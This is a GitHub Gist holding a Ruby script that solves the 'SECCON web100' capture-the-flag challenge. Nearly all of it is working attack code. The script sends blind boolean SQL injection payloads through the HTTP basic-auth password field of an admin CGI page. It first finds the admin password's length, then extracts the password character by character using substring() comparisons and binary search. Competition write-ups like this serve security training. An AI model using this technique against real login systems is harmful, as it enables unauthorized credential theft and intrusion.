Created
December 12, 2016 18:07
-
-
Save shiv3/7559e806183053d40f7c78e63420bdd0 to your computer and use it in GitHub Desktop.
SECCON web100
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'net/http' | |
require 'uri' | |
def req_length(l,o) | |
url = URI.parse('http://basiq.pwn.seccon.jp/admin/admin.cgi') | |
req = Net::HTTP::Post.new(url.path) | |
pass = " ' or (id = 'admin' and length(pass)" + o + l.to_s + " ) ; -- ' " | |
req.basic_auth 'admin', pass | |
result = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) } | |
return result.body | |
end | |
def req(s,o,i) | |
url = URI.parse('http://basiq.pwn.seccon.jp/admin/admin.cgi') | |
req = Net::HTTP::Post.new(url.path) | |
pass = " ' or (id = 'admin' and substring(pass," + (i + 1).to_s + ",1)" + o + " '" + s + "' ) ; -- ' " | |
req.basic_auth 'admin', pass | |
result = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) } | |
body = result.body | |
return body.include?("OK") | |
end | |
def binserch(i) | |
arr = (" ".."`").to_a | |
("{".."~").to_a.each{|s|arr.push(s)} | |
l = 0 | |
r = arr.length | |
while l <= r do | |
mid = (l + r)/2 | |
print arr[mid] | |
next if arr[mid].nil? | |
if req(arr[mid],"<",i) | |
r = mid - 1 | |
elsif req(arr[mid],">",i) | |
l = mid + 1 | |
elsif req(arr[mid],"=",i) | |
return arr[mid] | |
end | |
end | |
puts "" | |
end | |
ans = [] | |
len = 0 | |
300.times do |i| | |
res = req_length(i,">") | |
p i,res[0,10] | |
unless res.include?("OK") | |
len = i | |
break | |
end | |
end | |
puts "passlength:" + len.to_s | |
len.times do |i| | |
q = binserch(i) | |
ans.push q unless q.nil? | |
p ans.join | |
end | |
puts "flag is :" + ans.join("") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment